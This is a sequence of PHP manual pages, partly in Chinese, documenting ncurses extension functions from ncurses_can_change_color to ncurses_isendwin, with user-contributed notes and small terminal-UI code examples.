add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_border | 上一级 | ncurses_can_change_color


ncurses_can_change_color

(PHP 4 >= 4.1.0, PHP 5)

ncurses_can_change_color -- Check if we can change terminals colors

Description

bool ncurses_can_change_color ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

The function ncurses_can_change_color() returns TRUE or FALSE, depending on whether the terminal has color capabilities and whether the programmer can change the colors.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_bottom_panel | 上一级 | ncurses_cbreak


ncurses_cbreak

(PHP 4 >= 4.1.0, PHP 5)

ncurses_cbreak -- Switch of input buffering

Description

bool ncurses_cbreak ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_cbreak() disables line buffering and character processing (interrupt and flow control characters are unaffected), making characters typed by the user immediately available to the program.

ncurses_cbreak() returns TRUE or NCURSES_ERR if any error occurred.

See also: ncurses_nocbreak()

add a note add a note User Contributed Notes
php at kormoc dot com
29-Nov-2005 01:16
re satoru's post,
While it's not using cbreak, it sorta is an example. The only difference between raw and cbreak is how control keys are delt with.

Quoted from the ncurses_programming_howto:
Normally the terminal driver buffers the characters a user types until a new line or carriage return is encountered. But most programs require that the characters be available as soon as the user types them. The above two functions are used to disable line buffering. The difference between these two functions is in the way control characters like suspend (CTRL-Z), interrupt and quit (CTRL-C) are passed to the program. In the raw() mode these characters are directly passed to the program without generating a signal. In the cbreak() mode these control characters are interpreted as any other character by the terminal driver.
satoru
06-Nov-2005 03:14
<?php
 /**************************************
  [WARNING!]
  Your terminal may be uncontrollable.

  [HOW TO EXIT]
  Push space key to terminate raw mode.

  [TESTING]
  Tested with FreeBSD5.3R + PHP5.0.5-CLI.
  The option '--with-ncurses' required.
  **************************************/

  $tty = system("tty");
  $handle = fopen($tty, "r");
  if (!$handle)
   exit("cannot open $tty.\\n");

  print "Push space key to terminate.\\n";

  ncurses_init();
  ncurses_raw();
  do {
   $ch = fread($handle, 1);
   printf('[%d] ', ord($ch));
  } while ($ch != " " && ord($ch) != 3);
  ncurses_noraw();
  ncurses_end();
  print "\\n";

  fclose($handle);
?>
add a note add a note

后退 | 起点 | 前进
ncurses_can_change_color | 上一级 | ncurses_clear


ncurses_clear

(PHP 4 >= 4.1.0, PHP 5)

ncurses_clear -- Clear screen

Description

bool ncurses_clear ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_clear() clears the screen completely without setting blanks. 如果成功则返回 TRUE，失败则返回 FALSE。

Note: ncurses_clear() clears the screen without setting blanks, which have the current background rendition. To clear screen with blanks, use ncurses_erase().

See also ncurses_erase().

add a note add a note User Contributed Notes
areaz at dotgeek org
14-May-2004 06:49
When your script exits, after ncurses_clear() was called, it could leave your terminal in an inconsistent state.

Therefore, you should call ncurses_savetty() in a constructor and nurses_resetty() in a destructor, to ensure, that your terminal is working fine after your script exits.

Here is an example code snippet, on how to use this function, without falling into trouble ;-)

<? // PHP5 Example

class foo
{
   /* Foo constructor */
   function __construct()
   {
       /* Initialize ncurses first */
       ncurses_init();

       /* Save your tty !!! */
       ncurses_savetty();
   }

   function bar ()
   {
       /* Clear the screen and wait a few seconds */
       ncurses_clear();

       sleep(5);
   }

   /* Foo destructor */
   function __destruct()
   {
       /* Restore your terminal settings */
       ncurses_resetty();

       /* End ncurses and clean up */
       ncurses_end();
   }

}

$test_ncurses = new foo;
$test_ncurses->bar();
?>
add a note add a note

后退 | 起点 | 前进
ncurses_cbreak | 上一级 | ncurses_clrtobot


ncurses_clrtobot

(PHP 4 >= 4.1.0, PHP 5)

ncurses_clrtobot -- Clear screen from current position to bottom

Description

bool ncurses_clrtobot ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_clrtobot() erases all lines from cursor to end of screen and creates blanks. Blanks created by ncurses_clrtobot() have the current background rendition. 如果成功则返回 TRUE，失败则返回 FALSE。

See also ncurses_clear(), and ncurses_clrtoeol()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_clear | 上一级 | ncurses_clrtoeol


ncurses_clrtoeol

(PHP 4 >= 4.1.0, PHP 5)

ncurses_clrtoeol -- Clear screen from current position to end of line

Description

bool ncurses_clrtoeol ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_clrtoeol() erases the current line from cursor position to the end. Blanks created by ncurses_clrtoeol() have the current background rendition. 如果成功则返回 TRUE，失败则返回 FALSE。

See also ncurses_clear(), and ncurses_clrtobot()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_clrtobot | 上一级 | ncurses_color_content


ncurses_color_content

(PHP 4 >= 4.3.0, PHP 5)

ncurses_color_content -- Gets the RGB value for color

Description

int ncurses_color_content ( int color, int &r, int &g, int &b )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_clrtoeol | 上一级 | ncurses_color_set


ncurses_color_set

(PHP 4 >= 4.1.0, PHP 5)

ncurses_color_set -- Set fore- and background color

Description

int ncurses_color_set ( int pair )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_color_content | 上一级 | ncurses_curs_set


ncurses_curs_set

(PHP 4 >= 4.1.0, PHP 5)

ncurses_curs_set -- Set cursor state

Description

int ncurses_curs_set ( int visibility )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
dgrimes at scvl dot com
13-Feb-2005 03:12
Valid values are:

0 = Cursor invisible
1 = Cursor normal
2 = Cursor visible
add a note add a note

后退 | 起点 | 前进
ncurses_color_set | 上一级 | ncurses_def_prog_mode


ncurses_def_prog_mode

(PHP 4 >= 4.1.0, PHP 5)

ncurses_def_prog_mode -- Saves terminals (program) mode

Description

bool ncurses_def_prog_mode ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_def_prog_mode() saves the current terminal modes for program (in curses) for use by ncurses_reset_prog_mode(). Returns FALSE on success, otherwise TRUE.

See also: ncurses_reset_prog_mode()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_curs_set | 上一级 | ncurses_def_shell_mode


ncurses_def_shell_mode

(PHP 4 >= 4.1.0, PHP 5)

ncurses_def_shell_mode -- Saves terminals (shell) mode

Description

bool ncurses_def_shell_mode ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_def_shell_mode() saves the current terminal modes for shell (not in curses) for use by ncurses_reset_shell_mode(). Returns FALSE on success, otherwise TRUE.

See also: ncurses_reset_shell_mode()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_def_prog_mode | 上一级 | ncurses_define_key


ncurses_define_key

(PHP 4 >= 4.2.0, PHP 5)

ncurses_define_key -- Define a keycode

Description

int ncurses_define_key ( string definition, int keycode )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_def_shell_mode | 上一级 | ncurses_del_panel


ncurses_del_panel

(PHP 4 >= 4.3.0, PHP 5)

ncurses_del_panel -- Remove panel from the stack and delete it (but not the associated window)

Description

bool ncurses_del_panel ( resource panel )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_define_key | 上一级 | ncurses_delay_output


ncurses_delay_output

(PHP 4 >= 4.1.0, PHP 5)

ncurses_delay_output -- Delay output on terminal using padding characters

Description

int ncurses_delay_output ( int milliseconds )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_del_panel | 上一级 | ncurses_delch


ncurses_delch

(PHP 4 >= 4.1.0, PHP 5)

ncurses_delch -- Delete character at current position, move rest of line left

Description

bool ncurses_delch ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_delch() deletes the character under the cursor. All characters to the right of the cursor on the same line are moved to the left one position and the last character on the line is filled with a blank. The cursor position does not change. Returns FALSE on success, otherwise TRUE.

See also: ncurses_deleteln()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_delay_output | 上一级 | ncurses_deleteln


ncurses_deleteln

(PHP 4 >= 4.1.0, PHP 5)

ncurses_deleteln -- Delete line at current position, move rest of screen up

Description

bool ncurses_deleteln ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_deleteln() deletes the current line under cursorposition. All lines below the current line are moved up one line. The bottom line of window is cleared. Cursor position does not change. Returns FALSE on success, otherwise TRUE.

See also: ncurses_delch()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_delch | 上一级 | ncurses_delwin


ncurses_delwin

(PHP 4 >= 4.1.0, PHP 5)

ncurses_delwin -- Delete a ncurses window

Description

bool ncurses_delwin ( resource window )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_deleteln | 上一级 | ncurses_doupdate


ncurses_doupdate

(PHP 4 >= 4.1.0, PHP 5)

ncurses_doupdate -- Write all prepared refreshes to terminal

Description

bool ncurses_doupdate ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_doupdate() compares the virtual screen to the physical screen and updates the physical screen. This way is more effective than using multiple refresh calls. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_delwin | 上一级 | ncurses_echo


ncurses_echo

(PHP 4 >= 4.1.0, PHP 5)

ncurses_echo -- Activate keyboard input echo

Description

bool ncurses_echo ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_echo() enables echo mode. All characters typed by user are echoed by ncurses_getch(). Returns FALSE on success, TRUE if any error occurred.

To disable echo mode use ncurses_noecho().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_doupdate | 上一级 | ncurses_echochar


ncurses_echochar

(PHP 4 >= 4.1.0, PHP 5)

ncurses_echochar -- Single character output including refresh

Description

int ncurses_echochar ( int character )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_echo | 上一级 | ncurses_end


ncurses_end

(PHP 4 >= 4.1.0, PHP 5)

ncurses_end -- Stop using ncurses, clean up the screen

Description

int ncurses_end ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_echochar | 上一级 | ncurses_erase


ncurses_erase

(PHP 4 >= 4.1.0, PHP 5)

ncurses_erase -- Erase terminal screen

Description

bool ncurses_erase ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_erase() fills the terminal screen with blanks. Created blanks have the current background rendition, set by ncurses_bkgd(). 如果成功则返回 TRUE，失败则返回 FALSE。

See also ncurses_bkgd(), and ncurses_clear()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_end | 上一级 | ncurses_erasechar


ncurses_erasechar

(PHP 4 >= 4.1.0, PHP 5)

ncurses_erasechar -- Returns current erase character

Description

string ncurses_erasechar ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_erasechar() returns the current erase char character.

See also: ncurses_killchar()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_erase | 上一级 | ncurses_filter


ncurses_filter

(PHP 4 >= 4.1.0, PHP 5)

ncurses_filter -- Set LINES for iniscr() and newterm() to 1

Description

void ncurses_filter ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_erasechar | 上一级 | ncurses_flash


ncurses_flash

(PHP 4 >= 4.1.0, PHP 5)

ncurses_flash -- Flash terminal screen (visual bell)

Description

bool ncurses_flash ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_flash() flashes the screen, and if its not possible, sends an audible alert (bell). Returns FALSE on success, otherwise TRUE.

See also: ncurses_beep()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_filter | 上一级 | ncurses_flushinp


ncurses_flushinp

(PHP 4 >= 4.1.0, PHP 5)

ncurses_flushinp -- Flush keyboard input buffer

Description

bool ncurses_flushinp ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

The ncurses_flushinp() throws away any typeahead that has been typed and has not yet been read by your program. Returns FALSE on success, otherwise TRUE.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_flash | 上一级 | ncurses_getch


ncurses_getch

(PHP 4 >= 4.1.0, PHP 5)

ncurses_getch -- Read a character from keyboard

Description

int ncurses_getch ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
php at kormoc dot com
23-Nov-2005 07:45
After banging my head over this for awhile, I discovered, you must use ncurses_keypad($window, true); to enable the arrow keys and f keys to work correctly.
joeldegan AT yahoo.com
17-Dec-2002 04:29
When using getch to capture KEY_* events remember that the keypad is arranged like this:

+-----+------+-------+
| A1  |  up  |  A3  |
+-----+------+-------+
|left |  B2  | right |
+-----+------+-------+
| C1  | down |    C3  |
+-----+------+-------+

You use has_key to capture these and act upon them.

man curs_getch for more info.
pablorNOSPAM at nkstudios dot net
14-Sep-2002 04:40
A custom php ncurses_getstr function..

<?php

function ncurses_getstr($strlen){
   for ($x=0;$x<$strlen;$x++){
       $string .= chr(ncurses_getch());
   }
   return $string;
}

ncurses_init();
ncurses_addstr(ncurses_getstr(6));
ncurses_refresh();
ncurses_getch();
ncurses_end();

?>
add a note add a note

后退 | 起点 | 前进
ncurses_flushinp | 上一级 | ncurses_getmaxyx


ncurses_getmaxyx

(PHP 4 >= 4.3.0, PHP 5)

ncurses_getmaxyx -- Returns the size of a window

Description

void ncurses_getmaxyx ( resource window, int &y, int &x )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_getmaxyx() puts the horizontal and vertical size of the window window into the given variables y and x. Variables must be passed as reference, so they are updated when the user changes terminal size.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_getch | 上一级 | ncurses_getmouse


ncurses_getmouse

(PHP 4 >= 4.2.0, PHP 5)

ncurses_getmouse -- Reads mouse event

Description

bool ncurses_getmouse ( array &mevent )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_getmouse() reads mouse event out of queue. Function ncurses_getmouse() will return ;FALSE if a mouse event is actually visible in the given window, otherwise it will return TRUE. Event options will be delivered in parameter mevent, which has to be an array, passed by reference (see example below). On success an associative array with following keys will be delivered:

  • "id" : Id to distinguish multiple devices

  • "x" : screen relative x-position in character cells

  • "y" : screen relative y-position in character cells

  • "z" : currently not supported

  • "mmask" : Mouse action

例子 1. ncurses_getmouse() example

<?php
switch (ncurses_getch()){
  case NCURSES_KEY_MOUSE:
    if (!ncurses_getmouse(&$mevent)){
      if ($mevent["mmask"] & NCURSES_MOUSE_BUTTON1_PRESSED){
        $mouse_x = $mevent["x"]; // Save mouse position
        $mouse_y = $mevent["y"];
      }
    }
  break;

  default:
    /* .... */
}
?>

See also ncurses_ungetmouse()

add a note add a note User Contributed Notes
m dot quinton at gmail dot com
26-Sep-2005 07:05
a working example with mouse, 3 windows  (need to be completed, but it works) ...

<?php

error_reporting(E_ALL);

function win($w, $h, $x, $y, $txt){
   // now lets create a small window
   $win = ncurses_newwin($w, $h, $x, $y);
   // border our small window.
   ncurses_wborder($win,0,0, 0,0, 0,0, 0,0);
   # ncurses_wrefresh($win);// paint both windows
   ncurses_refresh();// paint both windows

   // move into the small window and write a string
   ncurses_mvwaddstr($win, 0, 1, " $txt ");
   ncurses_mvwaddstr($win, 1, 1, "($w, $h, $x, $y)");

   // show our handiwork and refresh our small window
   ncurses_wrefresh($win);

   return $win;
}

// Initialie ncurses
$ncurse = ncurses_init();
// A full screen window

$win0 = win(0, 0, 0, 0, 'win0');
$win1 = win(10, 30, 7, 25, 'win1');
$win2 = win(10, 30, 20, 25, 'win2');
$info = win(15, 20, 2, 2, 'info');

// Draw everything so far
// ncurses_refresh();

$newmask = NCURSES_BUTTON1_CLICKED + NCURSES_BUTTON1_RELEASED;
# $newmask = NCURSES_ALL_MOUSE_EVENTS;

$mask = ncurses_mousemask($newmask, &$oldmask);
$events = array();

while(1){

   ncurses_wmove($info, 1,1);
   $ch = ncurses_getch();

   ncurses_wclear($info);
   ncurses_refresh();// paint both windows
   ncurses_wborder($info,0,0, 0,0, 0,0, 0,0);
   ncurses_refresh();// paint both windows
   ncurses_mvwaddstr($win, 0, 1, " info ");
   ncurses_refresh();// paint both windows

   switch($ch){

   case NCURSES_KEY_MOUSE:

       if(ncurses_getmouse($mevent)){
           $events[] = $mevent;

           ncurses_mvwaddstr($info, 2, 1, " mouse event  ");
           ncurses_mvwaddstr($info, 3, 1, " ({$mevent['x']}/{$mevent['y']}) ");
           ncurses_mvwaddstr($info, 4, 1, " ({$mevent['mmask']}) ");

           ncurses_wrefresh($info);
       }
       break;

   case chr('q'):
       break 2;

   default:

       if($ch > 0x40)
           $txt = chr($ch) . " $ch ";
       else
           $txt = '.' . " $ch";

       ncurses_mvwaddstr($info, 1, 1, " $txt  ");
       ncurses_wrefresh($info);

   }

   if(chr($ch) == 'q')
       break;
}

ncurses_end();// clean up our screen

print_r($events);

?>
add a note add a note

后退 | 起点 | 前进
ncurses_getmaxyx | 上一级 | ncurses_getyx


ncurses_getyx

(PHP 4 >= 4.3.0, PHP 5)

ncurses_getyx -- Returns the current cursor position for a window

Description

void ncurses_getyx ( resource window, int &y, int &x )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_getmouse | 上一级 | ncurses_halfdelay


ncurses_halfdelay

(PHP 4 >= 4.1.0, PHP 5)

ncurses_halfdelay -- Put terminal into halfdelay mode

Description

int ncurses_halfdelay ( int tenth )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_getyx | 上一级 | ncurses_has_colors


ncurses_has_colors

(PHP 4 >= 4.1.0, PHP 5)

ncurses_has_colors -- Check if terminal has colors

Description

bool ncurses_has_colors ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_has_colors() returns TRUE or FALSE depending on whether the terminal has color capacities.

See also: ncurses_can_change_color()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_halfdelay | 上一级 | ncurses_has_ic


ncurses_has_ic

(PHP 4 >= 4.1.0, PHP 5)

ncurses_has_ic -- Check for insert- and delete-capabilities

Description

bool ncurses_has_ic ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_has_ic() checks terminals insert- and delete capabilities. It returns TRUE when terminal has insert/delete-capabilities, otherwise FALSE.

See also: ncurses_has_il()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_has_colors | 上一级 | ncurses_has_il


ncurses_has_il

(PHP 4 >= 4.1.0, PHP 5)

ncurses_has_il -- Check for line insert- and delete-capabilities

Description

bool ncurses_has_il ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_has_il() checks terminals insert- and delete-line-capabilities. It returns TRUE when terminal has insert/delete-line capabilities, otherwise FALSE

See also: ncurses_has_ic()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_has_ic | 上一级 | ncurses_has_key


ncurses_has_key

(PHP 4 >= 4.1.0, PHP 5)

ncurses_has_key -- Check for presence of a function key on terminal keyboard

Description

int ncurses_has_key ( int keycode )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_has_il | 上一级 | ncurses_hide_panel


ncurses_hide_panel

(PHP 4 >= 4.3.0, PHP 5)

ncurses_hide_panel -- Remove panel from the stack, making it invisible

Description

int ncurses_hide_panel ( resource panel )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_has_key | 上一级 | ncurses_hline


ncurses_hline

(PHP 4 >= 4.2.0, PHP 5)

ncurses_hline -- Draw a horizontal line at current position using an attributed character and max. n characters long

Description

int ncurses_hline ( int charattr, int n )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_hide_panel | 上一级 | ncurses_inch


ncurses_inch

(PHP 4 >= 4.1.0, PHP 5)

ncurses_inch -- Get character and attribute at current position

Description

string ncurses_inch ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_inch() returns the character from the current position.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_hline | 上一级 | ncurses_init_color


ncurses_init_color

(PHP 4 >= 4.2.0, PHP 5)

ncurses_init_color -- Set new RGB value for color

Description

int ncurses_init_color ( int color, int r, int g, int b )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_inch | 上一级 | ncurses_init_pair


ncurses_init_pair

(PHP 4 >= 4.1.0, PHP 5)

ncurses_init_pair -- Allocate a color pair

Description

int ncurses_init_pair ( int pair, int fg, int bg )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
keith dot nunn at xe dot com
10-Mar-2006 10:34
Creates a reference to a pair of colors that can then be called to change the appearance of an element of the ncurses display.

The guaranteed available colors are defined as constants. See the beginning of the Ncurses section.

This is only of use if your terminal is color-enabled. See ncurses_has_colors() and ncurses_start_color().

the new display color for a character is set using ncurses_color_set();

E.g.
ncurses_start_color();
ncurses_init_pair(1,NCURSES_COLOR_RED,NCURSES_COLOR_BLACK);
ncurses_color_set(1); // turn the new color pair on.
// display what you want colored with this pair
ncurses_color_set(0); // return to the default color pair.

The default color pair (0) cannot be redefined.
add a note add a note

后退 | 起点 | 前进
ncurses_init_color | 上一级 | ncurses_init


ncurses_init

(PHP 4 >= 4.1.0, PHP 5)

ncurses_init -- Initialize ncurses

Description

void ncurses_init ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_init() initializes the ncurses interface and must be used before any other ncurses function.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_init_pair | 上一级 | ncurses_insch


ncurses_insch

(PHP 4 >= 4.1.0, PHP 5)

ncurses_insch -- Insert character moving rest of line including character at current position

Description

int ncurses_insch ( int character )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_init | 上一级 | ncurses_insdelln


ncurses_insdelln

(PHP 4 >= 4.1.0, PHP 5)

ncurses_insdelln -- Insert lines before current line scrolling down (negative numbers delete and scroll up)

Description

int ncurses_insdelln ( int count )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_insch | 上一级 | ncurses_insertln


ncurses_insertln

(PHP 4 >= 4.1.0, PHP 5)

ncurses_insertln -- Insert a line, move rest of screen down

Description

bool ncurses_insertln ( void )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_insertln() inserts a new line above the current line. The bottom line will be lost.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_insdelln | 上一级 | ncurses_insstr


ncurses_insstr

(PHP 4 >= 4.2.0, PHP 5)

ncurses_insstr -- Insert string at current position, moving rest of line right

Description

int ncurses_insstr ( string text )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_insertln | 上一级 | ncurses_instr


ncurses_instr

(PHP 4 >= 4.2.0, PHP 5)

ncurses_instr -- Reads string from terminal screen

Description

int ncurses_instr ( string &buffer )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

ncurses_instr() returns the number of characters read from the current character position until end of line. buffer contains the characters. Attributes are stripped from the characters.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ncurses_insstr | 上一级 | ncurses_isendwin


ncurses_isendwin

(PHP 4 >= 4.1.0, PHP 5)

ncurses_isendwin -- Ncurses is in endwin mode, normal screen output may be performed

Description

bool ncurses_isendwin ( void )

